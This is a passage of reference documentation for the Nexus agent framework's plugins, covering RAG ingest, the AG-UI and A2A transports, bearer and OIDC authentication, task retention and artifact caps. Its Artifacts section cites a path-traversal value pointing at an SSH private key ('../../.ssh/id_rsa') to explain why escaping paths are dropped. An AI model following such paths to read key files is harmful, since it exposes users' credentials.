mode | string | auto | Citation source: tag (parses <cite source="..." chunk="N"/> markers), anthropic_native (reads LLMResponse.Citations[] populated by Anthropic), or auto (uses native when present, falls back to tag). |
strict | bool | true | When true, citations whose (source, chunk) does not match a chunk recorded in the current turn’s retrieval context are dropped. When false, they are kept and tagged with TrustTier="unverified". |
section_priority | int | 60 | Priority of the citation-contract section in the system prompt (only used in tag/auto modes). |
Subscribes to rag.retrieved (emitted by nexus.tool.knowledge_search and
nexus.memory.vector) to build the per-turn validation set, then to
llm.response to do the parsing. Emits llm.response.cited.
nexus.rag.ingest
Source: plugins/rag/ingest/plugin.go. Backs the nexus ingest CLI subcommand
and the rag.ingest event handler.
| Key | Type | Default | Description |
|---|---|---|---|
chunker.size | int | 1000 | Characters per chunk. |
chunker.overlap | int | 200 | Character overlap between chunks. |
cache_dir | string | ~/.nexus/vectors/_cache | Embedding cache directory (hash → vector). The contextual-prefix cache lands at <cache_dir>/_prefix/. |
backfill | bool | true | Walk watched directories at startup and ingest pre-existing files. |
watch | list | (empty) | File watch entries; each is {path, glob, namespace}. |
watch[].path | string | (required) | Directory to watch. |
watch[].glob | string | (empty — match all) | Glob pattern for files to ingest. |
watch[].namespace | string | (required) | Vector store namespace. |
contextual_retrieval.enabled | bool | false | Per-chunk LLM-generated situating prefix (Anthropic contextual retrieval). Adds one LLM call per uncached chunk during ingest; ~49% reported recall improvement. Stored content stays the raw chunk; only the embed/lexical text is prefixed. |
contextual_retrieval.model_role | string | (role default) | Model role used for prefix generation (resolved via core.models). |
contextual_retrieval.max_chars_doc_window | int | 2000 | Max characters of surrounding document context handed to the LLM. |
contextual_retrieval.max_chars_prefix | int | 400 | Truncate generated prefix to this many characters before concatenation. |
contextual_retrieval.timeout_ms | int | 30000 | Per-call timeout. On timeout the prefix is dropped and the raw chunk is used. |
Requires embeddings.provider and vector.store. When search.lexical is
also active, ingest dual-writes each chunk into the lexical store with the
same (namespace, doc_id) pair the vector store uses.
To migrate an existing chromem-only corpus to dual-mode: add
nexus.vectorstore.sqlite_fts to plugins.active and re-run
nexus ingest --lexical=true PATH. The embedding cache short-circuits the
vector pass while the lexical store is freshly populated.
I/O
nexus.io.tui
Source: plugins/io/tui/plugin.go. No configuration. Bubble Tea terminal UI.
nexus.io.browser
Source: plugins/io/browser/plugin.go.
| Key | Type | Default | Description |
|---|---|---|---|
host | string | localhost | HTTP listen address. |
port | int | 8080 | HTTP listen port. |
open_browser | bool | true | Auto-open the browser tab on startup (no-op when the OS lacks an opener). |
nexus.io.agui
Source: plugins/io/agui/plugin.go. AG-UI (“Agent-User Interaction”) serve
transport. Clients POST a RunAgentInput to /agui and receive a
text/event-stream SSE response (one stream per run), using the pkg/agui wire
format rather than the browser/wails Envelope. Safe by default: binds loopback,
optional bearer-token auth, and configurable CORS for browser AG-UI clients.
| Key | Type | Default | Description |
|---|---|---|---|
bind | string | 127.0.0.1:8090 | host:port the HTTP listener binds to. Defaults to loopback so the endpoint is not network-exposed without explicit opt-in. |
bearer_token | string | (empty) | Inline bearer token. When set (and non-empty), Authorization: Bearer <token> is required on every request. Takes precedence over bearer_token_env. Mutually exclusive with auth. |
bearer_token_env | string | (empty) | Name of an environment variable to read the bearer token from. Used only when bearer_token is empty. Mutually exclusive with auth. |
auth | map | (absent) | Optional validator-chain block, parsed by the same pkg/nexusauth parser the session broker uses — so static, jwks, introspect and proxy_headers are all available here. Absent means authentication is decided by bearer_token/bearer_token_env alone. See Authentication (auth:) on nexus.io.agui below. |
cors_origins | string or list | (empty) | Allowed CORS origins for browser clients. A single * echoes any request Origin; an explicit list echoes only matching origins. Empty means no CORS header (same-origin only), the safe default for a loopback listener. Accepts a YAML list or a single comma-separated string ("https://a.example, https://b.example"); both are trimmed and empty entries dropped. |
emit_state | bool | false | Opt-in AG-UI shared-state emission. When true, the transport mirrors the session’s scene store (nexus.scene) as an AG-UI shared-state document and emits a StateSnapshot at run start plus ordered StateDelta events (RFC 6902 JSON Patch) as scenes mutate. Off by default because it adds scene-event subscriptions and per-mutation diffing overhead most clients do not need. Requires the nexus.scene plugin to be active to produce any state. |
Schema-validated at boot. The plugin ships plugins/io/agui/schema.json and
implements ConfigSchema(), so the engine validates this block — including
everything under auth: — before Init runs, with
additionalProperties: false at every object level. A misspelled key aborts the
boot naming the offender (unknown key "bearer_tokn" (did you mean "bearer_token"?)) instead of being silently ignored, which for an auth key
would mean an unauthenticated listener and no warning. The table above is the
whole surface: any key not listed is rejected.
One rule is deliberately not in the schema. auth: versus
bearer_token/bearer_token_env is enforced in Init (see below), which owns
the operator-facing message; duplicating it in JSON Schema would give two
enforcement points that can drift, and the schema one runs first and would
report the worse message.
Round-trip: a POST /agui maps the request messages to a Nexus
io.input (the trailing user message drives the turn; earlier messages ride
as PreloadMessages; threadId is recorded as the session id, runId
identifies the turn). The plugin subscribes to the same bus events as the
browser transport and translates them to canonical AG-UI SSE:
agent.turn.start→StepStarted, llm.stream.chunk→TextMessage*,
tool.call/tool.result→ToolCall*, thinking.step→Reasoning*,
agent.turn.end→StepFinished/RunFinished. The stream flushes incrementally
and terminates at RunFinished (or RunError on failure/disconnect).
Non-canonical events: Nexus bus events with no canonical AG-UI equivalent
(workflow.progress, subagent.started/iteration/complete,
code.exec.stdout) consistently ride the AG-UI Custom event, with name set
to the bus event type and value the JSON-encoded payload. This is a
documented superset — conformance clients that only understand canonical events
can ignore Custom without losing the run’s canonical lifecycle.
Scope: one in-flight run per listener (single engine/session per listener,
mirroring nexus.io.browser). A second POST while a run is active receives a
terminal RunStarted+RunError stream rather than interleaving.
Shared state (emit_state: true): the transport tracks the scene store’s
scene.created / scene.patched / scene.deleted bus events (each carrying the
scene’s full post-mutation content) into a shared-state document keyed by
scene_id. A StateSnapshot of the current document is emitted immediately
after RunStarted; each subsequent scene mutation during the run emits a
StateDelta whose delta is an RFC 6902 JSON Patch from the prior document to
the new one, so a client applying the deltas in order reconstructs the snapshot.
The document is session-scoped and persists across runs on the listener (a later
run’s snapshot reflects scenes created earlier). Inbound state
(RunAgentInput.state, same scene-keyed shape) is applied at run start — and on
a resume/continuation run — before the initial StateSnapshot, seeding the
scene store via a scene_create tool.invoke per scene so the agent observes it
through scene_get / scene_list. Conflict semantics are
client-state-seeds-then-agent-wins: the client seed lands before the agent’s
first turn, then agent-side scene_patch mutations are last-writer and flow back
out as StateDelta. See
Shared state.
Authentication (auth:) on nexus.io.agui
The transport authenticates through the shared identity layer (pkg/nexusauth)
— the same validator chain the session broker uses. Two
spellings are accepted and they are mutually exclusive:
bearer_token/bearer_token_env— one shared secret, unchanged and not deprecated. It is desugared into a one-entrystaticvalidator, which is purely an implementation detail with one visible improvement: the token comparison is now constant-time.auth:— the full validator-chain block, so an AG-UI deployment can verify OIDC JWTs (jwks), opaque tokens (introspect), or an identity a fronting proxy established (proxy_headers).
Setting both is a boot error naming both keys, not a precedence rule:
two sources for one security decision means one of them is stale, and quietly
preferring either is how an operator comes to believe a credential was tightened
when it was not. (Setting bearer_token and bearer_token_env remains legal
and keeps its original precedence — inline first, then the environment
variable.)
Setting neither means authentication is disabled and every request is
admitted, exactly as before. That is safe by default only because the listener
binds loopback; change bind and you should configure auth in the same commit.
plugins:
nexus.io.agui:
bind: "0.0.0.0:8090"
auth:
validators: # ordered; the first validator that accepts wins
- type: static # a shared token for CI or a local operator CLI
tokens:
- token: "..."
principal: "ci-runner"
- type: jwks # OIDC JWTs verified against the issuer's published keys
issuer: "https://id.example.com/"
jwks_url: "https://id.example.com/.well-known/jwks.json"
audience: "nexus-agui"
principal_claim: sub
The validator keys are identical to the broker’s — validators[].type,
principal_claim, tokens[], issuer/jwks_url/audience, the introspect
keys, the proxy_headers keys, and their defaults and validation rules are all
documented once under Authentication (auth:) and the
per-validator sections that follow it. There is one deliberate difference:
auth.admin_scope is broker-only and is rejected here as an unknown key.
Unknown keys are rejected at every level in both hosts — a silently ignored auth
key is a security bug, not a cosmetic one.
On this host they are rejected twice over, and the earlier of the two is the
one an operator meets: plugins/io/agui/schema.json describes every validator
key per type, so a key that belongs to a different validator type (jwks_url
on a static entry) or a duration written as a bare number (cache_ttl: 600)
fails at boot before pkg/nexusauth ever parses the block. The two agree by
construction — the schema was derived from the nexusauth parsers, not from
prose — and nexusauth remains the authority for the rules a schema cannot
express (URL transport, algorithm confusion, duplicate tokens, TTL caps).
Gated surface. POST /agui only. OPTIONS /agui (CORS preflight) is
deliberately not authenticated: a browser never attaches Authorization to a
preflight, so gating it would make every cross-origin AG-UI client unable to
reach the endpoint it is authorized for. CORS headers are applied before the
auth check so a browser can actually read a 401 instead of seeing an opaque
network error.
Status mapping. Denials are classified by the chain, never by string matching, and map onto:
| Situation | Status | Body | Headers |
|---|---|---|---|
No Authorization: Bearer header | 401 | unauthorized | WWW-Authenticate: Bearer realm="nexus-agui" |
| Credential presented and rejected | 401 | unauthorized | WWW-Authenticate: Bearer realm="nexus-agui", error="invalid_token" |
| Credential valid but lacking the required authority | 403 | insufficient scope | WWW-Authenticate: Bearer realm="nexus-agui", error="insufficient_scope" |
| The validator could not reach a verdict | 503 | authentication temporarily unavailable | Retry-After: 5 (deliberately no WWW-Authenticate) |
The codes match the broker’s because the denial kinds are the shared package’s
transport contract, and one deployment should not answer the same refusal two
different ways. The bodies differ: this endpoint’s success response is an SSE
stream, not JSON, so there is no envelope for an error to be consistent with, and
the 401 body stays the plain unauthorized it has always been. The RFC 6750
challenge matters more here than on the broker — an AG-UI client is often a
browser front-end whose only structured signal is the status plus the challenge,
and error="invalid_token" is what lets it tell “sign in” from “refresh the
token” without parsing prose.
Principal. A resolved Principal is carried to the run and recorded on the
agui run started log record (principal_id); it is empty when auth is
disabled. Nothing keys behaviour on it yet — this transport serves a single
engine/session per listener and admits one run at a time, so there is no second
principal for an authorization decision to distinguish.
nexus.io.a2a
Source: plugins/io/a2a/. Agent2Agent (A2A) serve transport: exposes this
Nexus instance as an A2A agent over one HTTP listener carrying three surfaces —
the /.well-known/agent-card.json discovery document, the JSON-RPC 2.0 binding,
and the HTTP+JSON/REST binding. The wire format is pkg/a2a (A2A specification
1.0.x); this plugin contributes the listener, the credential guard, the card
assembly and the routing. Safe by default: binds loopback, optional auth through
the shared pkg/nexusauth chain, and CORS off unless configured. The
A2A Interoperability guide covers the protocol mapping and a
worked end-to-end example; nexus.io.a2a is the plugin
page.
Maturity. Every A2A operation outside the push-notification family is wired.
SendMessageandSendStreamingMessagedrive a real Nexus turn; every task they create is persisted durably (see Task retention below) andGetTask,ListTasksandSubscribeToTaskread it back — see Reading tasks below. A task interrupted by a human-in-the-loop question parks atTASK_STATE_INPUT_REQUIREDand is resumed by a message naming the sametaskId, andCancelTasksettles a task atTASK_STATE_CANCELED— see Interruption and cancellation below. The Agent Card reports all of this honestly:capabilities.streamingistruebecause both streaming operations are wired, whilepushNotificationsandextendedAgentCardarefalse. (A2A declares no capability boolean for cancellation; it is part of the core task surface.) A turn publishes its final text, its structured output, every tool result and every file it wrote as Artifacts, and the card declares the Nexus telemetry extension — see Artifacts and The Nexus extension below.
| Key | Type | Default | Description |
|---|---|---|---|
bind | string | 127.0.0.1:8091 | host:port the HTTP listener binds to. Loopback by default so the endpoint is not network-exposed without explicit opt-in. An empty string falls back to the default. |
public_url | string | http://<bind> | Absolute base URL advertised in the card’s supportedInterfaces. The default is right for the loopback bind and wrong the moment a reverse proxy is involved — set it to the externally reachable origin whenever bind is not what clients dial. A trailing / is trimmed. |
jsonrpc_path | string | /a2a | Absolute path the JSON-RPC 2.0 binding is mounted at (POST only). Must differ from rest_prefix; a relative path or a collision is a boot error. |
rest_prefix | string | /a2a/v1 | Absolute path prefix the HTTP+JSON/REST binding is mounted under; the operation paths of A2A specification §11.3 (/message:send, /tasks/{id}, /tasks/{id}:cancel, …) hang off it. Must differ from jsonrpc_path. |
strict_version_header | bool | false | How an absent A2A-Version service parameter is read. See A2A version negotiation below. |
card_requires_auth | bool | false | Whether GET /.well-known/agent-card.json is gated by the validator chain. See Agent Card auth posture below. |
cors_origins | string or list | (empty) | Allowed CORS origins. A single * echoes any request Origin; an explicit list echoes only matching origins. Empty means no CORS header at all (same-origin only). Accepts a YAML list or a single comma-separated string. |
bearer_token | string | (empty) | Inline bearer token, desugared into a one-entry static validator. Takes precedence over bearer_token_env. Mutually exclusive with auth. |
bearer_token_env | string | (empty) | Name of an environment variable holding the bearer token. Used only when bearer_token is empty. Mutually exclusive with auth. |
auth | map | (absent) | Validator-chain block, parsed by the same pkg/nexusauth parser the session broker and nexus.io.agui use, so static, jwks, introspect and proxy_headers are all available. The card’s securitySchemes are derived from it — see Agent Card security below. Every rule documented under Authentication (auth:) applies verbatim; auth.admin_scope is broker-only and is rejected here. |
card | map | (absent) | The hand-authored Agent Card. Exactly one of card or card_file is required. See Agent Card content below. |
card_file | string (path) | (absent) | Path to a JSON file holding a complete A2A Agent Card document (camelCase wire shape). Expanded through engine.ExpandPath, so ~ and ~/... work. Mutually exclusive with card. |
tasks | map | (absent) | Retention policy for the durable task store. Both knobs have non-zero defaults; see Task retention below. |
artifacts | map | (absent) | What a turn publishes as Artifacts, and the caps that bound it. Every knob has a non-zero default; see Artifacts below. |
Schema-validated at boot. The plugin ships plugins/io/a2a/schema.json and
implements ConfigSchema(), so the engine validates this block — including
everything under auth: and card: — before Init runs, with
additionalProperties: false at every object level. The schema also enforces
that one of card/card_file is present. The table above is the whole
top-level surface; any key not listed is rejected.
Running a turn
A SendMessage or SendStreamingMessage becomes one Nexus turn, reported as
one A2A Task. There is no configuration for any of this; it is the fixed
behaviour of the transport.
| A2A | Nexus |
|---|---|
| The message’s text parts | before:io.input (vetoable, so the same gates that see a TUI keypress see this) then io.input |
Task created SUBMITTED | the request is accepted |
Task WORKING | agent.turn.start |
| Artifact with a text Part | the turn’s final assistant text, taken from io.output (or the terminal llm.response when no output was published) |
An extra application/json Part on that artifact | the same text when it is a JSON document — see Artifacts |
| One Artifact per tool result | every tool.result, unconditionally |
| One Artifact per written file | a path a tool.result reported writing |
TaskStatusUpdateEvent.metadata under the Nexus extension URI | thinking.step, tool.invoke, subagent.*, and llm.response token usage — only for clients that opted in |
Task COMPLETED | agent.turn.end |
Task FAILED | a core.error that is fatal or has exhausted its retries, or a vetoed input |
SendMessage blocks until the task reaches a state the caller has to act
on and returns the Task, which is A2A’s default (§3.2.2). That means a terminal
state or INPUT_REQUIRED: a task waiting for the caller cannot be waited on
by the caller. SendStreamingMessage writes the same frames as SSE — an opening
Task snapshot, status updates, the artifact, and the terminal status that closes
the stream.
configuration.returnImmediately is honoured: the call answers with the
task as it stands and the client follows it with GetTask or
SubscribeToTask. It was refused for as long as a run’s lifetime was its
request’s; see Task lifetime below. SendStreamingMessage
ignores the flag, because a stream is already the follow-up it asks for.
Other refusals, each with the error type the specification reserves for it: a
non-text Part or an acceptedOutputModes list with no text type
(ContentTypeNotSupportedError), an inline taskPushNotificationConfig
(PushNotificationNotSupportedError), and a second task while one is in flight
(UnsupportedOperationError; the listener fronts one agent loop). A message
naming a taskId is a continuation, not a refusal — see
Interruption and cancellation.
Task lifetime
A run is this listener’s single active task and is released when the task reaches a terminal state — not when the HTTP request that started it returns. Three things follow, and they are the reason interruption works at all:
- A client may disconnect mid-turn without failing its own task. The turn
carries on,
GetTaskstill answers, andSubscribeToTaskreattaches to exactly where it got to. - A task may stay parked on a question for as long as answering it takes,
bounded by
tasks.input_timeout. configuration.returnImmediatelyis answerable.
The cost is that a turn nobody is watching holds the slot until something ends
it, which is why CancelTask is wired and why an unanswered question has a
deadline. A task left non-terminal by a process restart is settled at
FAILED when the store next opens: no run drives it, no bus event will ever
name it, and only terminal tasks are evictable, so leaving it would be an
immortal row reading WORKING for ever.
Interruption and cancellation
There is no configuration here beyond tasks.input_timeout; the behaviour is
fixed.
A question parks the task. When a Nexus agent asks a human something —
nexus.control.hitl’s ask_user tool, or any plugin emitting hitl.requested —
the task moves to TASK_STATE_INPUT_REQUIRED with the question on
status.message, and a multiple-choice question renders its option ids into
that text so a text-only A2A client can answer it. The task stays live: open
SSE streams stay open (§11.7’s close rule keys off terminal states, which this
is not), the transition is written through to the store, and a client that
reconnects reads the question from GetTask or from SubscribeToTask’s opening
snapshot.
A message naming the same taskId resumes it (§3.4). The answer is routed
to hitl.responded and the task returns to WORKING inside the same turn —
no io.input, no second task. An answer whose text matches one of the
question’s option ids (case-insensitively) is delivered as that choice; anything
else is free text. Continuing a task is refused, with
UnsupportedOperationError, when it is already terminal, when the message names
a different contextId than the task’s, or when the task is not waiting for
input. A taskId that does not belong to the caller answers exactly as an
unknown one does: TaskNotFoundError.
CancelTask settles the task at TASK_STATE_CANCELED, then tells the bus —
hitl.cancel if the task was parked, so the blocked agent loop unblocks, then
cancel.request, which is the control.cancel capability’s own entry point
(the same event the TUI emits). Any open stream closes on the terminal frame.
Cancelling an already-terminal task is refused with
TaskNotCancelableError and writes nothing: a terminal state is final, so
reporting success would tell a client its cancel took effect on a task that had
already completed.
Task retention
Every task this listener creates is written to a SQLite database at
<session>/plugins/nexus.io.a2a/store.db, opened through the engine’s
per-plugin storage capability at session
scope. There is no bespoke file format and no separate cleanup job: archiving
the session disposes of its tasks with it. A listener that cannot open the store
does not start — a task that existed only for the lifetime of its request is
exactly the lie the store exists to prevent.
The record holds the task id, its contextId, the current state with its
timestamp, the full status-transition history, every artifact, message
references for both sides of the exchange, and the authenticated Principal
that created it. Reads are principal-scoped: a caller can only ever reach
tasks filed under its own principal id, and there is no unscoped query in the
store’s API to reach for by mistake. With no auth: block configured every
caller is unauthenticated and shares one partition.
Retention is load-bearing rather than housekeeping — a task carries its history and its artifacts, so an unbounded store would grow with traffic rather than with the conversation. Both knobs are enforced on open and after every task creation, and a task is evicted when it exceeds either of them. Only terminal tasks are evictable: a live task is the one a client is most likely to be following, so it is never dropped mid-turn. Non-terminal tasks still count against the per-context cap, so a wedged in-flight task shows up as retention pressure instead of exempting itself from it.
| Key | Type | Default | Description |
|---|---|---|---|
tasks.ttl | duration string | 24h | How long a terminal task is kept after its last transition. "0s" disables age-based eviction and keeps tasks for the life of the session. A bare number is rejected: 600 reads as ten minutes to an operator and six hundred nanoseconds to Go. Must not be negative. |
tasks.max_per_context | int | 200 | How many tasks are kept per (principal, contextId) pair. 0 disables the cap. The cap is per principal and context, not per context alone, so one principal’s traffic cannot evict another’s tasks. Must not be negative. |
tasks.input_timeout | duration string | 15m | How long a task may stay parked at TASK_STATE_INPUT_REQUIRED waiting for the client to answer the agent’s question. On expiry the task is driven to FAILED (a real terminal transition, so every attached stream closes) and hitl.cancel retracts the question so the blocked agent loop unblocks. "0s" disables the deadline. A bare number is rejected, as for ttl. Must not be negative. |
The defaults are chosen for the standalone single-context listener: 24 hours is comfortably longer than any plausible client reconnect window, and 200 tasks is 200 turns of history — far more than a client polls back over.
Sizing. The artifact side of the store is bounded by
artifacts.max_task_bytes x tasks.max_per_context, which at the shipped defaults
is 1 MiB x 200 ≈ 200 MiB in the worst case where every retained task
saturates its artifact budget. No ordinary session approaches that — a turn’s
artifacts are the tool outputs it actually produced — but the product is stated
rather than implied, so an operator who cannot afford the worst case lowers one
of the two knobs by arithmetic instead of by guesswork. See
Artifacts.
input_timeout is not retention — it is a liveness bound, and it defaults to
a non-zero value for a reason worth stating. A parked task is not idle: the turn
that asked the question is blocked inside ask_user, holding this listener’s
single active-task slot and the process’s one agent loop, so a question nobody
answers pins the whole instance. 15 minutes is measured against a human, not
a machine — long enough for someone to be paged, read the question and reply,
short enough that an abandoned question frees the instance within one coffee
break. Set "0s" only if a task parked until the process exits is genuinely what
you want.
plugins:
nexus.io.a2a:
tasks:
ttl: 72h
max_per_context: 50
input_timeout: 5m
Artifacts
A2A puts task output in artifacts and conversation in messages (§3.7). Four things a Nexus turn produces are output by that reading, and all four are published without an operator enabling anything:
| Artifact | artifactId | Contents |
|---|---|---|
| The turn’s answer | <taskId>-response | A text Part. Plus an application/json Part when the answer is a JSON document (one surrounding markdown fence is unwrapped first), so structured output is a document rather than a string a client has to re-parse. When an llm.request declared a json_schema, the artifact’s metadata names it under nexus.output.schema. |
| One per tool result | <taskId>-tool-<callId> | A text Part with the tool’s output (or its error, flagged nexus.tool.failed), plus an application/json Part when the tool produced structured output. Metadata carries nexus.tool.name and nexus.tool.callId. |
| One per written file | <taskId>-file-<path> | The file’s bytes as an inline base64 raw Part with its filename and media type — or a metadata note when the file is over the cap. |
| The suppression notice | <taskId>-artifacts-truncated | Present only when the task spent its artifact budget; says how many artifacts were withheld. |
Tool results are artifacts unconditionally. There is no key to turn them off, deliberately: an interop transport whose observability depends on the operator having enabled it is one a partner cannot rely on. The volume that buys is answered by the caps below rather than by a flag.
A human-in-the-loop question is not an artifact. It rides the
INPUT_REQUIRED status message and the task’s message history, which is where a
request for input belongs — putting it in the output channel as well would count
one event twice.
File detection is tool.result-based, and is incomplete by design. A file is
published only when a tool reports having written it: through the engine’s own
ToolResult.OutputFile field (honoured for every tool), or through a
structured-output key named by artifacts.file_sources. Snapshot-diffing the
session workspace is out of scope, so a write by an uninstrumented path is
missed — a shell command redirecting into a file reports stdout and an exit
code and nothing about the file, so nothing is published for it. nexus.tool.shell
therefore has no default rule; an operator whose shell wrapper does report a
written path adds one to file_sources.
Every reported path is resolved against artifacts.file_base_dir and confined
to it, symlinks followed. A path that escapes is dropped rather than clamped: a
tool reporting ../../.ssh/id_rsa is either broken or hostile, and inlining what
it named into a response that leaves the process cannot be walked back.
configuration.acceptedOutputModes is honoured, not merely validated: a
request naming only text media types gets no application/json Part and no
inline file contents. The files are still reported, as the same metadata note an
oversized file gets, so the client learns they exist.
| Key | Type | Default | Description |
|---|---|---|---|
artifacts.max_file_bytes | int (bytes) | 262144 | Largest file whose contents are inlined as a base64 raw Part. A larger file degrades to a metadata note naming the file, its size and the cap — never a silent drop and never an unbounded inline. 0 means no file is ever inlined; every detected file becomes a note. Inline content is base64 in JSON, so it costs roughly a third more on the wire than on disk. Must not be negative. |
artifacts.max_tool_output_bytes | int (bytes) | 16384 | Largest tool-result text carried on a tool-result artifact. Longer output is truncated on a rune boundary with a note saying how much was shown, and the artifact is flagged nexus.artifact.truncated. 0 disables the cap. Must not be negative. |
artifacts.max_task_bytes | int (bytes) | 1048576 | One task’s total artifact budget, counting every artifact except the final response — which is the turn’s answer and is never suppressed. When the budget is spent, further artifacts are suppressed and one notice artifact records how many. 0 disables the budget, which makes the store’s artifact growth unbounded. Must not be negative. |
artifacts.file_base_dir | string (path) | (the session’s files/ directory) | Directory that reported file paths are resolved against and confined to. Expanded through engine.ExpandPath, so ~ works. Set it to match nexus.tool.fileio’s base_dir if you moved that. With no session and no value set, file artifacts are disabled: there is no safe base to resolve a relative path against. |
artifacts.file_sources | map<string, string or list<string>> | {write_file: [path]} | Which structured-output keys of which tools carry the paths those tools wrote. The default matches nexus.tool.fileio’s write_file. Setting this key replaces the default wholesale rather than merging with it. ToolResult.OutputFile is always honoured on top of it, for every tool. |
The caps are load-bearing rather than tuning. Unconditional tool-result
artifacts, times inline base64 file parts, times a disk-persisted store, is an
unbounded product; these three caps are what make it a bounded one. Per artifact
it is max_file_bytes / max_tool_output_bytes; per task it is
max_task_bytes; per store it is max_task_bytes x tasks.max_per_context.
plugins:
nexus.io.a2a:
artifacts:
max_file_bytes: 1048576
max_tool_output_bytes: 8192
max_task_bytes: 4194304
file_base_dir: "~/agent-workspace"
file_sources:
write_file: [path]
render_report: [output_path]
The Nexus extension
Thinking steps, tool calls, subagent progress and token counts have no canonical A2A field. They ride the Nexus extension instead, whose URI is
https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1
There is no configuration for it: it is declared in the Agent Card under
capabilities.extensions for the same reason the capability booleans are
derived, and it is never required — everything it carries is supplementary, so
a client that ignores it still receives a complete canonical stream.
| Nexus event | Extension event kind | Payload |
|---|---|---|
thinking.step | thinking | The reasoning text and its index within the turn. |
tool.invoke | tool_call | The call id, tool name and the JSON arguments the model produced. |
tool.result | tool_result | The call id, tool name, output (capped by artifacts.max_tool_output_bytes) and error. |
subagent.started / .iteration / .complete | subagent | The spawn id, phase, iteration and detail. A subagent that reported an error is phase failed. |
llm.response | usage | Per-call token accounting: input, output, cached, reasoning and total. Reported for every response including the intermediate tool-calling ones, so the turn’s cost is the sum rather than the last call. |
The carrier is TaskStatusUpdateEvent.metadata, keyed by the extension URI. The
status those frames carry is the task’s current state, not a hard-coded
WORKING: a telemetry frame emitted while the task is parked at
INPUT_REQUIRED must not tell a client the task went back to work.
Opt-in is per request and is honoured by not sending. A client asks with the
A2A-Extensions service parameter:
curl -sN localhost:8091/a2a \
-H 'A2A-Version: 1.0' \
-H 'A2A-Extensions: https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1' \
-d '{"jsonrpc":"2.0","id":1,"method":"SendStreamingMessage","params":{…}}'
The response echoes A2A-Extensions with the extensions that were actually
activated, so a client asking for several can tell which it got; an extension
this agent does not speak produces no echo and no error. A client that asked for
nothing receives a stream with no extension metadata on it at all.
Telemetry is not persisted. It is the one frame class that does not go
through the task store’s write-through path. A stored telemetry frame would land
in the status history as a WORKING transition, so GetTask would replay a
turn’s reasoning as state changes the task never made — and a long turn would
fill the history table with them. GetTask and SubscribeToTask’s opening
snapshot therefore carry the canonical task only; telemetry is a live signal on
an attached stream.
Reading tasks
GetTask, ListTasks and SubscribeToTask answer from the store above. There
is no configuration for any of them; the behaviour below is fixed.
| Operation | JSON-RPC | REST |
|---|---|---|
GetTask | params: {id, historyLength?} | GET <rest_prefix>/tasks/{id}?historyLength= |
ListTasks | params: {contextId?, status?, pageSize?, pageToken?, historyLength?, statusTimestampAfter?, includeArtifacts?} | GET <rest_prefix>/tasks?… (§11.5 camelCase query parameters) |
SubscribeToTask | params: {id} → SSE | POST <rest_prefix>/tasks/{id}:subscribe → SSE |
- History is the trail of message references the store retained, rendered
as text messages stamped with their task and context — not a replay of
memory.history. §3.7 leaves it to the server which messages are persisted, so a bounded reference trail is a conforming history.historyLengthunset keeps everything retained,0omits history, andNkeeps the most recentNmessages. ListTaskspagination defaults to a page size of 50 and is bounded to 1–100 (§3.2).nextPageTokenis an opaque keyset cursor over(created_at, rowid), not an offset, so a task created or evicted mid-walk cannot make a client skip or repeat a row. A token this server did not mint is anInvalidParamsError, not a silent restart.totalSizeis counted under the identical filters, so it counts the same set the client is paging through.includeArtifactsdefaults to false, per §3.2, so a page stays small;GetTaskalways returns artifacts. History has no such default in the specification and is therefore included in a listing unless the request caps it — passhistoryLength: 0for a compact page.SubscribeToTaskalways opens with the task’s current state. A live task then streams the same frames every other attached stream receives — several clients may follow one task and all see an identical sequence from the point they joined. An already-terminal task yields its terminal snapshot and the stream closes immediately. A task that is neither (one this process was serving when it last stopped) gets its snapshot and then a close, since nothing will ever update it again — though after a restart such a task is settled atFAILEDwhen the store opens, so the snapshot names a real ending.- Ownership is not enumerable. Every read goes through the store’s
principal-scoped view, so a task belonging to another principal answers
exactly as an unknown id does: the same
TaskNotFoundError, the same HTTP 404, the same body, from the same single lookup. A distinct “exists but is not yours” answer would be an existence oracle for ids the caller was never told.
contextId and the Nexus session
An A2A context is a conversation and so is a Nexus session, so contextId maps
onto the session — but a Nexus process owns exactly one session, fixed at
boot, and there is no bus primitive that starts a second one or resets history.
The binding follows from that:
- The first call claims the session. A client that names no
contextIdis assigned the session id and gets it back on the Task, so it can keep using it. - Later calls naming the same context continue the conversation, with
history intact —
memory.historypersists across turns within a session. - A different
contextIdis refused withUnsupportedOperationErrornaming the bound context. Accepting it would hand the caller a conversation already carrying another context’s history while calling it new. Run one instance per context; the session broker automates exactly that.
Agent Card content
card: is the hand-authored half of the discovery document.
| Key | Type | Default | Description |
|---|---|---|---|
card.name | string | (required) | Human-readable agent name. |
card.description | string | (required) | What the agent does. Required by the A2A specification, so it is always serialized. |
card.version | string | (required) | The agent’s own version, independent of the A2A protocol version. |
card.documentation_url | string | (empty) | URL of human-readable documentation. |
card.icon_url | string | (empty) | URL of an icon representing the agent. |
card.provider.organization | string | (required when provider is set) | The operating organization’s name. |
card.provider.url | string | (empty) | The provider’s website. |
card.default_input_modes | string or list | (empty) | Media types the agent accepts when a skill does not narrow them, e.g. text/plain. |
card.default_output_modes | string or list | (empty) | Media types the agent produces when a skill does not narrow them. |
card.skills | list | (required, ≥1) | What the agent advertises it can do. |
card.skills[].id | string | (required) | Unique skill id within the card. |
card.skills[].name | string | (required) | Human-readable skill name. |
card.skills[].description | string | (required) | What the skill does. |
card.skills[].tags | string or list | (empty) | Keywords for discovery and filtering. |
card.skills[].examples | string or list | (empty) | Sample prompts that exercise the skill. |
card.skills[].input_modes | string or list | (empty) | Narrows default_input_modes for this skill. |
card.skills[].output_modes | string or list | (empty) | Narrows default_output_modes for this skill. |
Skills are deliberately hand-authored — they are not derived from
nexus.skills or the tool catalog. The card is a public contract: an internal
catalog churns with every plugin an operator enables, and a discovery document
that churned with it would both leak internal structure and break clients that
keyed off it.
There are no keys for supportedInterfaces, capabilities,
securitySchemes or securityRequirements, and there never will be. Those
describe what the listener actually does, so they are derived and overwrite
whatever the card source carried — including a complete card_file document. A
card naming a URL nothing is bound to, a capability nothing implements, or a
scheme nothing enforces is worse than no card: it is a confident wrong answer.
Concretely:
supportedInterfacesis[{public_url + jsonrpc_path, JSONRPC, 1.0}, {public_url + rest_prefix, HTTP+JSON, 1.0}], in that preference order.capabilities.streaming/pushNotifications/extendedAgentCardare computed from the set of operations the plugin actually implements.securitySchemes/securityRequirementscome from the validator chain.
The card is rendered and validated at boot: a card that could not be served
fails the process start, not the first partner’s request. It is served with an
ETag (a hash of the card content, so an edit that does not bump
card.version still invalidates a cache) and Cache-Control: public, max-age=300, per specification §8.6.1; If-None-Match yields 304.
